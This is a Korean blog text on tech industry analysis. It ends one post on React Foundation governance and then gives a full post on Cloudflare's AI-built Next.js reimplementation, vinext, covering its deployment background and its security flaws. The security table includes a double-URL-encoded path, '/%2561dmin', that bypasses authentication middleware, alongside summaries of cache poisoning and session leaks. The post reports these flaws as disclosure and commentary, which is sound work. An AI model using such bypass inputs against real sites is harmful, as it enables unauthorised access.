그런데 2023년 4월, Rust Foundation이 상표권 정책 초안을 공개했을 때 커뮤니티는 폭발했다. 초안에는 도메인 이름에 "Rust"를 포함할 수 없고, 크레이트 이름에도 제한이 있으며, 교육 자료에 "Rust Foundation의 검토를 받지 않았다"는 면책 조항을 넣어야 한다는 조항이 있었다. [반대 운동 레포지토리](https://github.com/blyxyas/no-rust-policy-change)가 만들어졌고, 프로젝트 이사들도 ["프로젝트 전체의 충분한 참여가 부족했다"](https://blog.rust-lang.org/inside-rust/2023/04/12/trademark-policy-draft-feedback/)고 인정했다.

Foundation은 사과하고 정책을 철회했지만, 수정안이 나오기까지 **18개월 이상**이 걸렸다. 2024년 11월에야 [수정 초안](https://blog.rust-lang.org/2024/11/06/trademark-update/)이 공개되었고, 2026년 3월 현재 최종 정책은 아직 확정되지 않았다.

Rust의 교훈은 이것이다. **이중 다수결, 소속 상한선 같은 구조적 장치가 있었지만, 정책이 소수의 그룹에서 8개월간 비공개로 개발된 후 짧은 의견 수렴 기간으로 제시되자 커뮤니티 신뢰가 무너졌다.** 구조적 안전장치와 프로세스 투명성은 별개의 문제이고, 둘 다 필요하다.

### React Foundation에 없는 것

Node.js TSC의 구조와 대비하면, React Foundation에 현재 없는 것이 명확해진다.

| 장치               | Node.js TSC            | React Foundation (2026.03 현재)         |
| ------------------ | ---------------------- | --------------------------------------- |
| 고용주 상한선      | 투표 멤버의 1/4        | 미공개                                  |
| 비밀 투표          | 명시적 규정            | 미공개                                  |
| 헌장 수정 제한     | CPC 승인 필요          | 미공개                                  |
| 기술 자율성        | 이사회로부터 독립 명시 | "분리" 선언, 메커니즘 미공개            |
| 기술 거버넌스 구성 | TSC 멤버 목록 공개     | "provisional council" 구성, 멤버 미공개 |

React Core 팀 21명 중 Vercel 소속이 5명(24%)이라는 현재 구성은, Node.js TSC의 1/4 상한선과 거의 같은 비율이다. Node.js TSC였다면 이 비율이 상한선에 걸려 추가 인원이 투표권을 가질 수 없다. React Foundation이 유사한 상한선을 도입할지는 아직 알 수 없다.

React Foundation은 기술 거버넌스의 구체적 구조를 "coming months"에 공개하겠다고 했다[^4]. 그 구조가 공개될 때, Node.js TSC와 같은 수준의 구조적 장치가 포함되는지가 React Foundation의 실질적 의미를 판단하는 기준이 될 것이다.

## 결론

이 글에서 다룬 내용을 정리하면 다음과 같다.

**확인된 사실:**

- React Core 팀 21명 중 Vercel 소속은 5명이며, RSC의 핵심 설계자를 포함한다
- RSC와 Server Actions는 React 안정 릴리스보다 1년 이상 앞서 Next.js에서 "안정" 선언되었다
- Canary 채널은 이 선행 구현을 가능하게 한 공식 메커니즘이며, 다른 프레임워크들은 같은 수준으로 활용하기 어려웠다
- `"use cache"`는 React 스펙이 아닌 Next.js 기능이지만, React 디렉티브와 같은 문법 형태를 사용한다
- React Foundation은 출범했지만, 기술 거버넌스의 구체적 구조는 2026년 3월 현재 공개되지 않았다

**이 사실들이 의미하지 않는 것:**

- "Vercel이 React를 지배한다"는 이 사실들만으로 단정되지 않는다. React Core 팀 전체 구성에서 Meta 비중이 여전히 크고, React 팀이 자율적으로 기술 방향을 설정해왔다는 분석도 있다. React Foundation은 기술 거버넌스의 독립성을 약속했다

**이 사실들이 의미하는 것:**

- React의 핵심 기능이 특정 기업의 제품을 통해 현실화되는 구조가 존재하며, 이 구조가 공정하다고 믿게 할 장치가 아직 보이지 않는다. Node.js TSC의 고용주 상한선, Rust Foundation의 이중 다수결 같은 선례가 있음에도, React Foundation은 아직 이에 준하는 구조를 공개하지 않았다

[이전 글](/2026/03/nextjs-edge-runtime-rise-and-fall)에서 Edge Runtime이 Vercel의 비즈니스 인센티브와 기술적 추진의 교차점에서 만들어졌다가 후퇴한 과정을 보았다. [그 다음 글](/2026/03/why-cloudflare-rebuilt-nextjs)에서는 Next.js의 배포 비대칭성이 경쟁 플랫폼들에게 역공학과 재구현이라는 비용을 강제한 현실을 보았다. 이 글에서는 그 상위의 구조 — React 자체의 기술 방향이 어떻게 결정되는가 — 를 살펴보았다.

React Foundation이 진짜 시험대에 오르는 시점은 출범 선언이 아니라 **기술 거버넌스 헌장이 공개되는 순간**이다. 그 문서에 고용주 상한선, 의사결정 절차, 투표 규칙, 이해충돌 방지 장치가 포함되어 있는지가 "벤더 중립"이 선언인지 구조인지를 가를 것이다.

[^1]: Eli White, Jack Pope, Jason Bonta, Joe Savona, Jordan Brown, Lauren Tan, Matt Carroll, Mike Vitousek, Mofei Zhang, Pieter Vanderwerff, Rick Hanlon, Ruslan Lesiutin, Seth Webster, Yuzhi Zheng. [React 공식 팀 페이지](https://react.dev/community/team) 기준, 2026년 3월 확인.

[^2]: [Supporting the Future of React — Vercel Blog](https://vercel.com/blog/supporting-the-future-of-react) (2021년 12월 14일). Guillermo Rauch가 Sebastian Markbåge의 합류를 발표.

[^3]: Dan Abramov의 [트윗](https://twitter.com/dan_abramov/status/1682029195843739649) (2023년 7월 20일). Meta 퇴사 발표. 이후 Bluesky에서 근무(2023~2025년 2월), 현재 독립 엔지니어로 React Core 팀 활동 유지.

[^4]: [The React Foundation — React Blog](https://react.dev/blog/2026/02/24/the-react-foundation) (2026년 2월 24일). "We will share more updates on technical governance in the coming months."

[^5]: [Introducing the React Foundation — Engineering at Meta](https://engineering.fb.com/2025/10/07/open-source/introducing-the-react-foundation-the-new-home-for-react-react-native/) (2025년 10월 7일). 5년 파트너십, \$3M 이상 자금, 전담 엔지니어링 팀 약속.

[^6]: [Waku Reaches 1.0 Alpha — InfoQ](https://www.infoq.com/news/2026/02/waku-react-framework/) (2026년 2월).

[^7]: [Node.js TSC Charter](https://github.com/nodejs/TSC/blob/main/TSC-Charter.md). "no more than one-fourth of the TSC voting membership may be affiliated with the same company/entity."

[^8]: [Node.js Working Groups](https://github.com/nodejs/TSC/blob/main/WORKING_GROUPS.md). "no more than 1/3 of the WG members may be affiliated with the same employer."

[^9]: [OpenJS CPC Charter](https://github.com/openjs-foundation/cross-project-council/blob/main/CPC-CHARTER.md). "No more than one-fourth of the Voting CPC members may be affiliated with the same employer."

[^10]: [Rust Foundation FAQ](https://github.com/rust-lang/foundation-faq-2020/blob/main/FAQ.md). "All motions be approved with both a majority of project directors and a majority of sponsor representatives."

[^11]: [Rust Leadership Council RFC #3392](https://github.com/rust-lang/rfcs/blob/master/text/3392-leadership-council.md). "If the Council has 6 or more representatives, no more than 2 representatives may have any given affiliation."

[^12]: [Facebook Buckles Under Pressure Over Hated React License — InfoWorld](https://www.infoworld.com/article/2257026/facebook-buckles-under-pressure-over-hated-react-license.html) (2017년). Apache Software Foundation의 React 라이선스 금지와 이후 MIT 전환.

[^13]: [React Foundation Open Source Governance — The New Stack](https://thenewstack.io/react-foundation-open-source-governance/). Meta가 출범 후 2.5년간 기업 거버넌스 위원회에서 supermajority를 유지한다는 분석.

---

Source: https://yceffort.kr/2026/03/why-cloudflare-rebuilt-nextjs.md
Title: <em>Cloudflare</em>가 Next.js를 다시 만든 이유
Description: vinext가 던진 질문은?
Date: 2026-03-17
Tags: nextjs, cloudflare, edge-computing, vite, reverse-engineering
Series: Next.js의 현주소

## Table of Contents

## 서론

vinext의 핵심은 "AI가 일주일 만에 만들었다"가 아니다. 핵심은 Cloudflare가 Next.js를 자사 플랫폼에서 지원하기 위해 더 이상 비공개 빌드 출력물을 해석하는 어댑터와 역공학에만 기대지 않고, 공개 API 표면을 직접 재구현하는 방향으로 전환하겠다고 선언했다는 점이다.

[이전 글](/2026/03/nextjs-edge-runtime-rise-and-fall)에서 다뤘듯, Cloudflare는 Edge-native 인프라를 완성했지만 빠진 퍼즐이 하나 있었다. 개발자 경험이다. 대부분의 현대 프레임워크는 어댑터(adapter)라는 공식 인터페이스를 제공한다. 빌드 결과물을 각 배포 플랫폼에 맞게 변환해주는 계층으로, 어댑터만 교체하면 Cloudflare든 AWS든 Netlify든 같은 코드를 배포할 수 있다. Next.js에는 이것이 없었다. Next.js는 빌드 시 `.next` 디렉토리에 서버 함수, 정적 에셋, 캐시 등을 생성하는데, 이 출력 형식이 Vercel 인프라에 맞춰 설계되어 있고 공식 문서화되어 있지 않다. Cloudflare나 Netlify 같은 타 플랫폼에서 이 앱을 돌리려면, 문서화되지 않은 내부 구조를 분석해서 자기 플랫폼에 맞게 변환하는 작업이 필요하다. 그리고 Next.js가 버전업될 때마다 이 구조가 예고 없이 바뀌므로, 변환 코드를 계속 따라잡아야 하는 유지보수 부담이 생긴다. 2026년 2월, Cloudflare는 [vinext](https://github.com/cloudflare/vinext)를 공개했다. Next.js의 공개 API 표면을 Vite 위에서 재구현한 프로젝트다. 이 글에서는 vinext가 등장한 구조적 배경, 기존 접근(OpenNext)과의 차이, AI로 만들었다는 것의 실체, 그리고 이 시도가 오픈소스 생태계에 던지는 질문을 살펴본다.

## Next.js는 왜 Vercel 밖에서 배포하기 어려운가

Next.js는 오픈소스지만, 빌드 출력물은 Vercel의 인프라에 맞춰 설계되어 있다.

### 어댑터가 없었다

Remix, Astro, SvelteKit, Nuxt — 현대 프레임워크들은 대부분 어댑터(adapter) 패턴을 지원한다. 빌드 결과물을 플랫폼별로 변환하는 공식 인터페이스가 있어서, Cloudflare Workers든 AWS Lambda든 Netlify든 어댑터만 바꾸면 배포할 수 있다.

Next.js에는 이것이 없었다. `.next` 디렉토리에 생성되는 빌드 출력물의 형식은 문서화되지 않았고, 버전마다 예고 없이 바뀌었다. Vercel 이외의 플랫폼에 배포하려면 이 비공개 출력물을 읽어서 자기 플랫폼에 맞게 다시 가공해야 했다.

Netlify는 이 문제의 심각성을 [직접 밝힌 바 있다](https://www.netlify.com/blog/how-we-run-nextjs/):

> Next.js builds use a private, largely undocumented format that is subject to change.
>
> Next.js 빌드는 비공개이고 대부분 문서화되지 않은 형식을 사용하며, 언제든 변경될 수 있다.

Netlify는 Next.js의 canary 브랜치 변경사항을 자동으로 모니터링하는 `nextjs-sentinel`[^1]이라는 도구까지 만들어야 했다. 프레임워크 하나를 지원하기 위해 전담 엔지니어링 팀을 운영하는 상황이었다.

### `minimalMode`라는 비공개 플래그

Next.js의 서버에는 [`minimalMode`](https://github.com/vercel/next.js/discussions/29801)라는 문서화되지 않은 설정이 있다. Vercel에서 배포할 때만 활성화되는 이 모드에서는 프레임워크의 핵심 기능 일부가 비활성화되고, Vercel의 비공개 인프라 코드가 이를 대체한다. Middleware를 애플리케이션에서 분리하여 Edge에서 실행할 수 있었던 것도 이 `minimalMode` 덕분인데, Vercel만 이 기능에 접근할 수 있었다.

Netlify의 [Eduardo Boucas가 분석한 글](https://eduardoboucas.com/posts/2025-03-25-you-should-know-this-before-choosing-nextjs/)에서 이 문제를 상세히 다루었다:

> This secret minimal mode is what allowed Vercel to break out middleware from the rest of the application so they could run it at the edge, but only Vercel has access to it.
>
> 이 비밀 미니멀 모드 덕분에 Vercel은 미들웨어를 애플리케이션에서 분리하여 Edge에서 실행할 수 있었지만, 오직 Vercel만이 이 기능에 접근할 수 있었다.

### `target: 'serverless'`의 제거

Next.js에는 원래 `target: 'serverless'` 설정이 있었다. 이 설정을 사용하면 어느 서버리스 플랫폼에서든 배포할 수 있었다. 2022년 10월, Vercel은 [이 옵션을 제거했다](https://github.com/vercel/next.js/pull/41495). 범용 서버리스 배포를 위한 공식 타깃이 사라졌고, 이후 타 플랫폼 지원은 사실상 별도 어댑터와 역공학에 의존하게 되었다.

### 비표준 캐시 헤더

Next.js는 v15 이전까지 [RFC 5861](https://datatracker.ietf.org/doc/html/rfc5861) 규격에 맞지 않는 `stale-while-revalidate` 헤더를 출력했다[^6]. 규격상 `stale-while-revalidate=<delta-seconds>` 형식으로 값이 필수인데, Next.js는 `s-maxage=SECONDS, stale-while-revalidate`처럼 값 없이 출력했다. Vercel의 CDN은 이 비표준 형식을 자체적으로 처리했지만[^7], AWS CloudFront 같은 다른 CDN에서는 헤더가 무시되었다. Next.js 15에서 [`expireTime`](https://nextjs.org/docs/app/api-reference/config/next-config-js/expireTime) 설정이 도입되면서 기본값으로 1년의 delta-seconds가 추가되어 수정되었다[^8].

### ISR 캐싱의 함정

[ISR(Incremental Static Regeneration)](https://nextjs.org/docs/app/building-your-application/data-fetching/incremental-static-regeneration)은 Next.js의 핵심 기능 중 하나다. 정적 페이지를 주기적으로 재생성하는 이 기능은 Vercel에서는 "그냥 동작"한다. 하지만 셀프 호스팅 환경에서는 파일 시스템 기반 캐시가 기본값이라, 다중 인스턴스 배포 시 각 인스턴스가 서로 다른 캐시를 갖게 된다. 일관된 캐시를 위한 커스텀 `cacheHandler`를 구현하려면 Redis 같은 외부 저장소와의 연동 코드가 필요했다.

지금까지 살펴본 사실들을 종합하면, 확인 가능한 것은 두 가지다. 첫째, Next.js의 배포 표면은 오랫동안 공식 어댑터 패턴 없이 운영되었다. 둘째, 그 결과 타 플랫폼 사업자들은 내부 출력물을 읽고 변환하는 높은 유지보수 비용을 떠안았다. 이것이 의도적 락인이었는지, 자사 플랫폼 최적화를 우선한 결과였는지는 외부에서 단정하기 어렵다. 하지만 결과적으로 **Vercel과 타 플랫폼 간에 배포 경험의 비대칭이 존재했다**는 점은 부정하기 어렵다.

## OpenNext: 역공학이라는 선택

이 마찰을 줄이기 위해 등장한 것이 [OpenNext](https://opennext.js.org/)다.

### OpenNext란 무엇인가

OpenNext는 Next.js 빌드 출력물을 Vercel이 아닌 플랫폼에서 실행할 수 있도록 변환하는 오픈소스 프로젝트다. 2022년 12월, [SST(Serverless Stack)](https://sst.dev/) 팀이 만들었다. 원래는 AWS Lambda 배포를 위한 것이었지만, 이후 Cloudflare와 Netlify도 각자의 어댑터를 만들면서 멀티 플랫폼 프로젝트로 확장되었다.

- [opennextjs-aws](https://github.com/opennextjs/opennextjs-aws) — AWS Lambda 어댑터
- [opennextjs-cloudflare](https://github.com/opennextjs/opennextjs-cloudflare) — Cloudflare Workers 어댑터

### 동작 원리

OpenNext의 작동 방식은 다음과 같다:

1. `next build`를 standalone 모드로 실행하여 `.next` 디렉토리를 생성한다
2. 이 출력물을 파싱하여 플랫폼별 배포 아티팩트로 변환한다

AWS의 경우를 예로 들면:

```text
.next/ (Next.js 빌드 출력)
  ↓ OpenNext 변환
.open-next/
  ├── server-function/    → Lambda 함수 (NextServer 래핑)
  ├── image-function/     → 이미지 최적화 전용 Lambda
  ├── revalidation-function/ → ISR 재검증용 Lambda
  ├── warmer-function/    → 콜드 스타트 방지용 Lambda
  ├── assets/             → S3에 업로드할 정적 파일
  └── cache/              → DynamoDB 기반 캐시
```

핵심은 Next.js의 `NextServer`를 그대로 사용한다는 것이다. OpenNext는 빌드 출력물을 플랫폼에 맞게 재패키징하는 역할이지, Next.js 자체를 대체하는 것이 아니다.

### 역공학의 한계

이 접근 방식은 근본적인 취약점을 갖고 있다. **Next.js 내부 빌드 출력 형식의 안정성이 보장되지 않는다.**

Cloudflare 엔지니어링 블로그에서 이 문제를 [직접 언급했다](https://blog.cloudflare.com/vinext/):

> Because OpenNext has to reverse-engineer Next.js's build output, this results in unpredictable changes between versions that take a lot of work to correct.
>
> OpenNext는 Next.js의 빌드 출력물을 역공학해야 하기 때문에, 버전 간 예측 불가능한 변경이 발생하고 이를 수정하는 데 많은 작업이 필요하다.

구체적인 문제들:

- Next.js의 minor/patch 릴리스에서 빌드 출력 형식이 예고 없이 변경된다
- OpenNext 어댑터가 새 버전을 지원하기까지 시간이 걸려, 최신 Next.js를 즉시 사용할 수 없다
- Turbopack 빌드 도입 시 기존 어댑터가 깨지는 사례가 발생했다
- `next dev`는 Node.js에서만 실행되므로, 개발 시 플랫폼별 기능(Cloudflare KV 등)을 테스트할 수 없다

Cloudflare, Netlify, AWS Amplify 모두 자체적인 패치 스택과 폴백 로직을 유지해야 했다. Next.js가 업데이트될 때마다 "두더지 잡기(whack-a-mole)" 같은 대응이 반복되는 구조였다.

### Deployment Adapters API — 늦었지만 공식 해법

2025년 4월, Vercel은 [Deployment Adapters RFC](https://github.com/vercel/next.js/discussions/77740)를 발표했다. Netlify, Cloudflare, AWS Amplify, OpenNext가 참여한 워킹 그룹에서 설계한 표준 어댑터 API로, Next.js 16에서 알파로 도입되었다.

```js
// next.config.js
const nextConfig = {
  experimental: {
    adapterPath: require.resolve('./my-adapter.js'),
  },
}

module.exports = nextConfig
```

어댑터는 `modifyConfig()`로 빌드 설정을 조정하고, `onBuildComplete()`로 구조화된 빌드 출력(라우트 정보, 에셋 매핑, 함수 메타데이터 등)을 받아 플랫폼별 배포 아티팩트를 생성한다. [Next.js 공식 문서](https://nextjs.org/docs/app/api-reference/config/next-config-js/adapterPath) 기준으로 아직 `experimental` 하위에 위치하며, Vercel도 [자사 어댑터를 공개](https://github.com/nextjs/adapter-vercel)하여 "같은 API를 쓴다"고 밝혔다.

이 API가 성숙해지면 OpenNext 같은 역공학 프로젝트의 필요성이 줄어들 수 있다. 하지만 아직 알파 단계이고, Next.js 15 이하 구형 버전들에 대한 백포트 계획은 없다. 2026년 3월 현재, 이 API에만 의존하기에는 이르다.

## vinext: 역공학 대신 재구현

OpenNext가 "Next.js 빌드 출력물을 역공학"하는 접근이었다면, vinext는 근본적으로 다른 선택을 했다. **Next.js의 공개 API 표면 자체를 Vite 위에서 재구현**한 것이다.

### vinext란 무엇인가

[vinext](https://github.com/cloudflare/vinext)는 Cloudflare가 2026년 2월에 공개한 Vite 플러그인이다. Next.js의 라우팅, SSR, RSC(React Server Components), Server Actions, 캐싱, Middleware, `next/*` 모듈 임포트를 Vite 기반으로 재구현했다.

- GitHub: [cloudflare/vinext](https://github.com/cloudflare/vinext)
- 공식 사이트: [vinext.io](https://vinext.io/)
- 라이선스: MIT
- 배포 타깃: Cloudflare Workers가 첫 번째 네이티브 타깃이지만, [Nitro](https://nitro.build/)를 통해 Vercel, Netlify, AWS, Deno Deploy 등에도 배포 가능하다고 README에서 설명하고 있다. 다만 이 주장의 실체는 제한적이다. Cloudflare 자체적으로 Vercel에 배포하는 PoC를 "30분 만에" 성공시켰다고 하고[^3], [Netlify 배포를 위한 PR](https://github.com/cloudflare/vinext/pull/76)이 존재하지만 아직 DRAFT 상태이며 작성자 본인이 "코드를 리뷰하지 않았으니 실제 사용하지 말라"고 경고하고 있다. [Clever Cloud](https://www.clever.cloud/blog/engineering/2026/02/25/how-we-deployed-a-vinext-application/)가 자사 플랫폼에 배포한 사례는 있지만, AWS나 Deno Deploy에서 독립적으로 검증된 사례는 찾기 어렵다. Cloudflare-first이지 Cloudflare-only는 아니라는 것은 기술적으로 맞지만, 현 시점에서 비-Cloudflare 플랫폼 지원은 실험적 수준이다.

[Cloudflare가 제시한](https://blog.cloudflare.com/vinext/) 초기 벤치마크 수치:

| 항목                                  | vinext                | Next.js             |
| ------------------------------------- | --------------------- | ------------------- |
| **API 호환성** (README 기준)          | Next.js 16 API의 94%  | -                   |
| **빌드 속도** (33개 라우트 테스트 앱) | 1.67초                | 7.38초 (4.4배 느림) |
| **클라이언트 번들 크기** (gzip)       | 72.9 KB               | 168.9 KB (2.3배 큼) |
| **테스트**                            | 1,700+ 유닛 + 380 E2E | -                   |

이 수치는 Cloudflare가 공개한 특정 테스트 앱(33개 라우트) 기준의 초기 벤치마크다. 독립적인 제3자 검증은 아직 없으며, 앱의 규모나 구성에 따라 결과가 달라질 수 있다.

### RSC 재구현의 깊이

vinext가 "Next.js API를 재구현했다"고 할 때 가장 큰 기술적 도전은 RSC(React Server Components) 였을 것이다. RSC는 서버/클라이언트 경계, 스트리밍 렌더링, Server Actions 등 복잡한 런타임 동작이 얽혀있어 단순한 API 매핑으로 해결되지 않는다.

vinext의 RSC 구현은 `@vitejs/plugin-rsc`(Vite 공식 RSC 플러그인) 위에 구축되었으며, 세 개의 독립적인 모듈 그래프를 사용한다:

- **RSC 환경**: Server Component를 렌더링하여 RSC 스트림을 생성한다
- **SSR 환경**: RSC 스트림을 받아 HTML을 생성한다
- **Client 환경**: 브라우저에서 하이드레이션을 수행한다

`"use client"`와 `"use server"` 경계는 정상 동작하며, Suspense 통합과 스트리밍 SSR도 지원된다. Server Actions(폼 제출, 뮤테이션, `redirect()`, FormData 처리)도 동작한다. `generateMetadata()`와 동적 OG 이미지도 지원한다.

다만 `@vitejs/plugin-rsc` 자체가 아직 초기 단계이고, RSC/SSR 환경 경계에서 상태 전달이 명시적으로 이루어져야 하는 구조적 제약이 있다. Partial Prerendering(PPR)은 미지원이며, `"use cache"` 디렉티브는 실험적 상태다.

### OpenNext와의 구조적 차이

이 두 프로젝트의 차이는 단순한 구현 방식의 차이가 아니라, **의존 관계의 방향**이 다르다.

```text
OpenNext:
  next build → .next/ (비공개 출력물) → OpenNext 변환 → 플랫폼 배포
  ⚠️ .next/ 형식이 바뀌면 깨짐

vinext:
  vinext build (Vite) → 플랫폼 배포
  ✓ Next.js 공개 API 계약에만 의존
```

|                    | OpenNext                          | vinext                       |
| ------------------ | --------------------------------- | ---------------------------- |
| **접근**           | 빌드 출력물 역공학                | 공개 API 재구현              |
| **빌드 도구**      | Next.js (Turbopack) 그대로 사용   | Vite로 완전 대체             |
| **Next.js 의존성** | `next build`에 직접 의존          | Next.js 코드에 의존하지 않음 |
| **버전 추적 부담** | 매 릴리스마다 내부 변경 대응 필요 | 공개 API가 바뀔 때만 대응    |
| **성숙도**         | 프로덕션에서 검증됨               | 실험적, 보안 이슈 존재       |

OpenNext는 `next-server` 바이너리를 그대로 실행하기 때문에, Next.js의 모든 기능이 동작하지만 내부 구조 변경에 취약하다. vinext는 Next.js 코드를 전혀 사용하지 않기 때문에, 내부 구조 변경의 영향을 받지 않지만 94%의 API 호환성에서 나머지 6%가 문제가 될 수 있다.

### 94%의 나머지 6%

"Next.js API의 94% 호환"이라는 수치에서 빠진 6%가 무엇인지에 따라 vinext의 실용성 평가가 달라진다. 누락된 기능을 분류하면 다음과 같다:

**의도적으로 제외된 것들** — Next.js 생태계에서 의미가 낮거나 Vite로 대체된 것들이다:

- `next/amp` (AMP 지원)
- Webpack/Turbopack 관련 설정 (Vite가 대체)
- Vercel 전용 기능: Edge Config, Vercel Analytics, `@vercel/og`
- 레거시 `next export` CLI
- `experimental.typedRoutes`

**실질적으로 문제가 되는 것들** — 프로덕션 앱에서 흔히 사용하는 기능이다:

| 미지원/부분 지원 기능                              | 영향                                                                                                          |
| -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| `next/image` 최적화                                | `@unpic/react`로 대체. 빌드 타임 이미지 최적화, 반응형 이미지 생성 불가. `images: { unoptimized: true }` 필요 |
| `next/font/local`의 `font.variable`                | CSS 커스텀 프로퍼티 주입이 깨짐. 타이포그래피에 CSS 변수를 쓰는 앱에 영향                                     |
| `next-auth` / `@clerk/nextjs`                      | Next.js 내부 API 라우트 핸들러에 의존하여 동작 불가                                                           |
| `generateStaticParams()` 빌드 타임 프리렌더링      | 첫 요청 시 ISR로만 동작. 초기 방문 시 콜드 스타트 레이턴시 발생                                               |
| `styled-components` / `@emotion/react`             | `useServerInsertedHTML()` 미구현으로 부분 지원                                                                |
| Workers 런타임 제약 (`fs`, `net`, `child_process`) | 서버 사이드 파일 처리가 필요한 앱에 제약                                                                      |

이 중 `next/image`와 `next-auth`는 자주 언급되는 미지원 항목이지만, 치명적인 문제라고 보기는 어렵다. 이미지 최적화는 Cloudflare Images나 외부 CDN(Cloudinary, imgix)으로 대체할 수 있고, 인증은 Auth.js(next-auth의 프레임워크 무관 버전)나 다른 서비스로 우회할 수 있다. 기존 Next.js 앱을 마이그레이션하는 경우에는 마찰이 있겠지만, 새 프로젝트라면 처음부터 대안을 선택하면 된다. 94%라는 수치는 API 표면의 커버리지로는 높아 보이지만, 나머지 6%가 자신의 프로젝트에 해당하는지는 직접 확인해볼 필요가 있다.

여기서 주의할 것이 있다. Cloudflare의 공식 홍보 문구는 "이미 프로덕션 사용 사례가 있다"에 가깝지만, [vinext README](https://github.com/cloudflare/vinext) 자체는 프로젝트를 실험적 소프트웨어(experimental)로 규정하고 있으며, 성숙도 면에서는 OpenNext를 더 안전한 선택으로 제시한다. 블로그와 README 사이에 톤 차이가 있는 셈이다. 현 시점에서 vinext를 프로덕션에 도입하려는 팀이라면, 블로그의 낙관보다 README의 경고를 기준으로 삼는 것이 현실적이다.

### Traffic-aware Pre-Rendering

vinext에는 Next.js에 없는 기능도 있다. **Traffic-aware Pre-Rendering(TPR)**은 Cloudflare의 zone analytics 데이터를 분석하여, 실제로 트래픽이 많은 페이지만 선택적으로 프리렌더링하는 기능이다. 모든 페이지를 프리렌더링하는 것이 아니라, 실제 접근 패턴에 기반한 최적화다. Cloudflare의 CDN 데이터에 직접 접근할 수 있기 때문에 가능한 기능이다.

## AI로 만들었다는 것의 실체

vinext가 화제가 된 가장 큰 이유는 "AI로 1주일 만에 만들었다"는 발표였다. Cloudflare 블로그 제목이 ["How we rebuilt Next.js with AI in one week"](https://blog.cloudflare.com/vinext/)이었으니 당연하다. 하지만 실체를 들여다보면, 이것은 단순한 바이브 코딩이 아니었다.

### 만든 사람과 방식

vinext를 만든 사람은 **Steve Faulkner**, Cloudflare의 엔지니어링 디렉터다. AI 모델은 **Claude**(Anthropic)를 사용했고, 800회 이상의 AI 코딩 세션을 거쳤다. API 토큰 비용은 약 $1,100이었다[^2].

Faulkner의 역할은 코드를 직접 쓰는 것이 아니라, **아키텍처 결정, 우선순위 설정, AI가 잘못된 방향으로 갈 때 교정**하는 것이었다. 초기 몇 시간을 Claude와 아키텍처를 정의하는 데 사용한 뒤, 이후에는 AI가 구현하고 테스트를 통과시키는 사이클을 반복했다.

> "The AI can hold the whole system in context, but I had to course-correct regularly." — Steve Faulkner[^2]
>
> "AI는 시스템 전체를 컨텍스트에 담을 수 있지만, 나는 주기적으로 방향을 교정해야 했다."

### 왜 이 작업이 AI에 적합했나

vinext가 AI로 만들어질 수 있었던 핵심 이유는, Next.js가 이미 **방대한 테스트 스위트**를 공개해놓았기 때문이다.

[paddo.dev의 분석](https://paddo.dev/blog/vinext-test-suites-are-specs/)이 이 점을 정확히 짚었다: Next.js의 2,000개 이상의 유닛 테스트와 400개 이상의 E2E 테스트[^5]는 사실상 **실행 가능한 명세(executable specification)**였다. AI는 문서를 읽고 해석하는 것보다, 테스트를 통과시키는 것에 훨씬 능하다. "이 입력에 이 출력이 나와야 한다"는 명확한 계약이 있으면, AI는 그 계약을 만족시키는 코드를 효율적으로 생성할 수 있다.

```text
기존 AI 코딩:
  모호한 요구사항 → AI가 "추측"으로 코드 작성 → 사람이 검증

vinext:
  Next.js 테스트 스위트 (명확한 계약) → AI가 계약 충족 코드 작성 → 테스트가 자동 검증
```

이 구조가 가능했던 조건들로는 아마 다음과 같지 않을까?

1. **명확한 API 계약**: Next.js의 공개 API는 잘 정의되어 있다. `next/router`, `next/image`, `next/link` 등의 동작이 명확하다.
2. **방대한 테스트 스위트**: 2,000개 이상의 테스트가 기대 동작을 코드로 정의하고 있다. AI는 이 테스트들을 하나씩 통과시키면 된다.
3. **독립적인 모듈 구조**: 라우팅, SSR, RSC, 캐싱 등 각 기능이 비교적 독립적이라 병렬로 구현 가능했다.
4. **레퍼런스 구현의 존재**: Next.js 소스 코드 자체가 공개되어 있으므로, 동작이 애매한 경우 참고할 수 있었다.

요약하면, "AI가 프레임워크를 만들었다"가 아니라 **"잘 정의된 명세와 테스트가 있었기 때문에 AI가 구현체를 생성할 수 있었다"** 에 가깝다. 문서화가 잘 된 API와 포괄적인 테스트 스위트가 AI에게 명세서 역할을 한 것이다.

이 사건의 핵심은 "AI가 만능 도구라서"가 아니다. **명세가 공개된 소프트웨어는 구현이 상품화(commoditize)되기 시작했다** 는 점이다. 물론, 그 완성도가 Next.js 에 비할바는 아니다. 하지만 API 계약이 명확하고 테스트가 포괄적일수록, 구현체를 만드는 비용은 급격히 떨어질 수도 있다는 것을 보여준 셈이다. vinext가 $1,100에 만들어졌다는 것은 Next.js API의 "구현 비용"이 그 정도로 낮아졌다는 뜻이기도 하다.

## 보안: v1의 문제인가, AI 코드의 문제인가

vinext 공개 이틀 후, Vercel CEO [Guillermo Rauch가 7건의 보안 취약점을 공개](https://x.com/rauchg/status/2026864132423823499)했다. Critical 2건, High 2건, Medium 2건, Low 1건이었다. SSRF, 인증 우회, 보안 헤더 누락, 경로 파싱 오류 등이 포함되었다.

이후 AI 보안 도구 [Hacktron](https://www.hacktron.ai/blog/hacking-cloudflare-vinext)이 추가로 45건의 취약점을 발견했고, 수동 검증을 거친 24건 중 Critical 4건, High 6건이 포함되어 있었다. 주요 취약점들로는 다음과 같다.

| 취약점                            | 심각도   | 내용                                             |
| --------------------------------- | -------- | ------------------------------------------------ |
| AsyncLocalStorage 레이스 컨디션   | Critical | 동시 요청 간 세션 데이터 누출                    |
| 캐시 포이즈닝                     | Critical | `Authorization`/`Cookie` 헤더가 캐시 키에 미포함 |
| 이중 URL 인코딩으로 미들웨어 우회 | Critical | `/%2561dmin`으로 인증 우회 가능                  |
| API 라우트 미들웨어 미적용        | Critical | `/api/*` 엔드포인트가 미들웨어 보호 밖에 노출    |
| 이미지 옵티마이저 ACL 우회        | High     | `/_vinext/image`가 미들웨어 이전에 실행          |

보안 연구자 [Sam Curry의 지적](https://x.com/samwcyo/status/2026888257779224594)이 흥미롭다:

> "Two years ago, I reported an improper path parsing vulnerability in Next.js. Today, they reported the exact same vulnerability to their competitor, Vinext."
>
> "2년 전에 나는 Next.js에 부적절한 경로 파싱 취약점을 보고했다. 오늘, 그들은 정확히 같은 취약점을 경쟁자인 Vinext에 보고했다."

AI가 Next.js의 수정 전 코드를 학습 데이터로 사용했을 가능성이 높다. 이미 알려진 취약점이 그대로 재현된 것이다.

